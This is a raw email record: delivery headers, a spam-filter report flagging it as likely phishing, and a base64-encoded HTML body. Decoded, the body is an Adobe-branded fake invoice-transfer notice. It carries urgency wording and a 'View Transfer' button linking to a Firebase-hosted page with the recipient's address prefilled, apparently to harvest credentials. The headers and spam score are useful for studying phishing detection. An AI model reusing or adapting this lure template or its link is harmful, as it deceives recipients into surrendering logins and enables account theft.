Return-Path: Delivered-To: info@sterlingcal.com Received: from reseller401.webserversystems.com by reseller401.webserversystems.com with LMTP id QPbfAp9LaWLvAQgAchKAPA for ; Wed, 27 Apr 2022 08:56:47 -0500 Return-path: Envelope-to: info@sterlingcal.com Delivery-date: Wed, 27 Apr 2022 08:56:47 -0500 Received: from [45.86.86.139] (port=57522 helo=flocks.net) by reseller401.webserversystems.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.93) (envelope-from ) id 1nji9s-002DRg-Tj for info@sterlingcal.com; Wed, 27 Apr 2022 08:56:46 -0500 Received: from flocks.net (flocks.net [127.0.0.1]) by flocks.net (8.14.7/8.14.7) with ESMTP id 23RDuTeT003062 for ; Wed, 27 Apr 2022 16:56:29 +0300 Received: (from root@localhost) by flocks.net (8.14.7/8.14.7/Submit) id 23RDuSAW003039; Wed, 27 Apr 2022 16:56:28 +0300 Message-Id: <202204271356.23RDuSAW003039@flocks.net> Mime-Version: 1.0 Date: Wed, 27 Apr 2022 16:56:28 +0300 From: "donotreply_notifications@sterlingcal" To: info@sterlingcal.com ReplyTo: Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: base64 X-Spam-Status: Yes, score=11.2 X-Spam-Score: 112 X-Spam-Bar: +++++++++++ X-Spam-Report: Spam detection software, running on the system "reseller401.webserversystems.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: View Transfer ADOBE Contract_Invoice_Authorize_Payment.pdf [...] Content analysis details: (11.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist [URIs: wedowa1.web.app] 0.0 SPF_NONE SPF: sender does not publish an SPF Record 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail domains are different 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 2.5 DCC_CHECK No description available. 0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag -0.0 T_SCC_BODY_TEXT_LINE No description available. 3.0 URI_FIREBASEAPP Link to hosted firebase web application, possible phishing 1.7 FSL_BULK_SIG Bulk signature with no Unsubscribe 3.0 RDNS_NONE Delivered to internal network by a host with no rDNS X-Spam-Flag: YES Subject: [SPAM] Contract_Invoice_Authorize_Payment.pdf PHA+Jm5ic3A7PC9wPg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6ICdMdWNpZGEgU2FucycsICdM dWNpZGEgU2FucyBSZWd1bGFyJywgJ0x1Y2lkYSBHcmFuZGUnLCAnTHVjaWRhIFNhbnMgVW5pY29k ZScsIEdlbmV2YSwgVmVyZGFuYSwgc2Fucy1zZXJpZjsgd2lkdGg6IDU3MHB4OyBoZWlnaHQ6IDMy MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBwYWRkaW5nLXRvcDogMjBweDsgYm9yZGVy OiAxLjVweCBzb2xpZCAjZWVlZWVlOyBtYXJnaW46IDIwcHggYXV0bzsgcG9zaXRpb246IHJlbGF0 aXZlOyI+DQo8ZGl2IHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOyBwYWRkaW5nLWxlZnQ6IDEw MHB4OyBwYWRkaW5nLXJpZ2h0OiA0MHB4OyA7ZGlzcGxheTogZmxleDsganVzdGlmeS1jb250ZW50 OiBmbGV4LWVuZDsiPjxhIGhyZWY9Imh0dHBzOi8vd2Vkb3dhMS53ZWIuYXBwP2VtYWlsPWluZm9A c3RlcmxpbmdjYWwuY29tIj48YnV0dG9uIHN0eWxlPSJ3aWR0aDogMTUwcHg7IGhlaWdodDogMzBw eDsgZm9udC1zaXplOiAxM3B4OyBib3JkZXItcmFkaXVzOiA0cHg7IGN1cnNvcjogcG9pbnRlcjsg YmFja2dyb3VuZC1jb2xvcjogI2ZmMDAwMDsgYm9yZGVyOiAycHggc29saWQgIzQ0YWRiMTsgY29s b3I6IHdoaXRlOyIgdGl0bGU9IlZpZXcgVHJhbnNmZXIiPlZpZXcgVHJhbnNmZXI8L2J1dHRvbj48 L2E+PC9kaXY+DQo8ZGl2PjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsgZm9udC1zaXplOiAx OHB4OyBmb250LXdlaWdodDogYm9sZGVyOyB3aWR0aDogMTIwcHg7IHBvc2l0aW9uOiBhYnNvbHV0 ZTsgdG9wOiAyMHB4OyBsZWZ0OiAyMHB4OyI+QURPQkU8L3NwYW4+PC9kaXY+DQo8ZGl2IHN0eWxl PSJib3JkZXI6IDFweCBzb2xpZCAjZWVlZWVlOyBtYXJnaW46IDAgYXV0bzsgd2lkdGg6IDU3MHB4 OyB6LWluZGV4OiA3OyBwb3NpdGlvbjogcmVsYXRpdmU7IGhlaWdodDogMjMwcHg7Ij4NCjxkaXYg c3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmN2Y3Zjc7IGhlaWdodDogODBweDsgYWxpZ24taXRl bXM6IGNlbnRlcjsgcGFkZGluZy1sZWZ0OiAyM3B4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQg I2VlZWVlZTsiPg0KPHAgc3R5bGU9ImZvbnQtc2l6ZTogMTVweDsgZm9udC13ZWlnaHQ6IGJvbGQ7 Ij48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij5Db250cmFjdF9JbnZvaWNlX0F1dGhvcml6 ZV9QYXltZW50LnBkZjwvc3Bhbj48YnIgLz48YnIgLz4gPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTog MTNweDsgY29sb3I6ICMwMDAwMDA2MzsiPjE0MC4zMiBLQiAtIEV4cGlyZXMgaW4gMyBkYXlzPC9z cGFuPjwvcD4NCjwvZGl2Pg0KPGRpdiBzdHlsZT0icGFkZGluZzogNXB4IDIwcHg7IGNvbG9yOiAj MGE0ZjUyOyBmb250LXNpemU6IDEzcHg7Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBm b250LXdlaWdodDogYm9sZDsiPjxhIHN0eWxlPSJjb2xvcjogIzE3NTE1MzsgdGV4dC1kZWNvcmF0 aW9uOiBub25lOyIgaHJlZj0iIyI+Q29udHJhY3RfSW52b2ljZV9BdXRob3JpemVfUGF5bWVudC5w ZGY8L2E+PC9zcGFuPg0KPHA+QWNjb3VudCBzYWlkOiA8c3BhbiBzdHlsZT0iZm9udC1zdHlsZTog aXRhbGljOyI+ICJQbGVhc2UgY29uZmlybSBhdHRhY2hlZCBiZWZvcmUgSSB3aWxsIHByb2Nlc3Mg cGF5bWVudC4iPC9zcGFuPiA8YnIgLz4gPGJyIC8+IFRoZSB0cmFuc2ZlciB3aWxsIGV4cGlyZSBp biA2IGRheXMgb24gQXByaWwgMzAsMjAyMi48L3A+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9kaXY+